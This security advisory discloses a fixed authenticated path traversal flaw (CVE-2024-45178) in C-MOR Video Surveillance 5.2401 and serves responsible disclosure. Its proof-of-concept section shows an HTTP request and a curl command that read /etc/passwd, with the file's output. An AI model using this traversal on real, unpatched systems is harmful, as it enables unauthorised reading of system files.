Advisory ID: SYSS-2024-025 Product: C-MOR Video Surveillance Manufacturer: za-internet GmbH Affected Version(s): 5.2401 Tested Version(s): 5.2401 Vulnerability Type: Relative Path Traversal (CWE-23) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2024-04-05 Solution Date: 2024-07-31 Public Disclosure: 2024-09-04 CVE Reference: CVE-2024-45178 Authors of Advisory: Chris Beiter, Frederik Beimgraben, and Matthias Deeg ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: The software product C-MOR is an IP video surveillance system. The manufacturer describes the product as follows: "With C-MOR video surveillance, it is possible to check your surveillance over network and the Internet. You can access the live view as well as previous recordings from any PC or mobile device. C-MOR is managed and controlled over the C-MOR web interface. IP settings, camera recording setup, user rights and so on are set over the web without the installation of any software on the client."[1] Due to improper user input validation, it is possible to download arbitrary files from the C-MOR system via a path traversal attack. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: By analyzing the C-MOR web interface, it was found that different functionalities are vulnerable to path traversal attacks, which is due to insufficient user input validation. For instance, the download functionality for backups provided by the script "download-bkf.pml" is vulnerable to a path traversal attack via the parameter "bkf". This enables an authenticated user to download arbitrary files as Linux user "www-data" from the C-MOR system. Another path traversal attack is in the script "show-movies.pml", which can be exploited via the parameter "cam". ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): Using the following HTTP POST request with the relative path "../../../../etc/passwd" as value for the parameter "bkf", it is possible to download the file "/etc/passwd": POST /download-bkf.pml HTTP/1.1 Host: <HOST> Authorization: Basic <CREDENTIALS> Content-Type: application/x-www-form-urlencoded Content-Length: 26 bkf=../../../../etc/passwd An example of a successful path traversal attack is demonstrated via the following curl command: $ curl -X POST -d 'bkf=../../../../etc/passwd' --user '<USERNAME>:<PASSWORD>' --ciphers 'DEFAULT:!DH' https://<HOST>/download-bkf.pml root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh Debian-exim:x:101:103::/var/spool/exim4:/bin/false statd:x:102:65534::/var/lib/nfs:/bin/false sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin cam:x:1000:1000:Cam,,,:/home/cam:/bin/bash postfix:x:104:107::/var/spool/postfix:/bin/false stunnel4:x:105:109::/var/run/stunnel4:/bin/false mysql:x:106:110:MySQL Server,,,:/var/lib/mysql:/bin/false messagebus:x:107:113::/var/run/dbus:/bin/false ntp:x:108:114::/home/ntp:/bin/false download:x:1002:1002:Download User:/home/download:/bin/bash ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Install C-MOR Video Surveillance version 6.00PL1. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2024-04-05: Vulnerability reported to manufacturer 2024-04-05: Manufacturer acknowledges receipt of security advisories 2024-04-08: Exchange regarding security updates and disclosure timeline 2024-05-08: Further exchange concerning security updates and disclosure timeline; public release of all security advisories scheduled for release of C-MOR Video Surveillance version 6 2024-05-10: Release of C-MOR software version 5.30 with security updates for some reported security issues 2024-07-19: E-mail to manufacturer concerning release date of C-MOR Video Surveillance version 6; response with planned release date of 2024-08-01 2024-07-30: E-mail from manufacturer with further information concerning security fixes 2024-07-31: Release of C-MOR software version 6.00PL1 2024-09-04: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for C-MOR Video Surveillance https://www.c-mor.com/ [2] SySS Security Advisory SYSS-2024-025 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-025.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Chris Beiter, Frederik Beimgraben, and Matthias Deeg. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en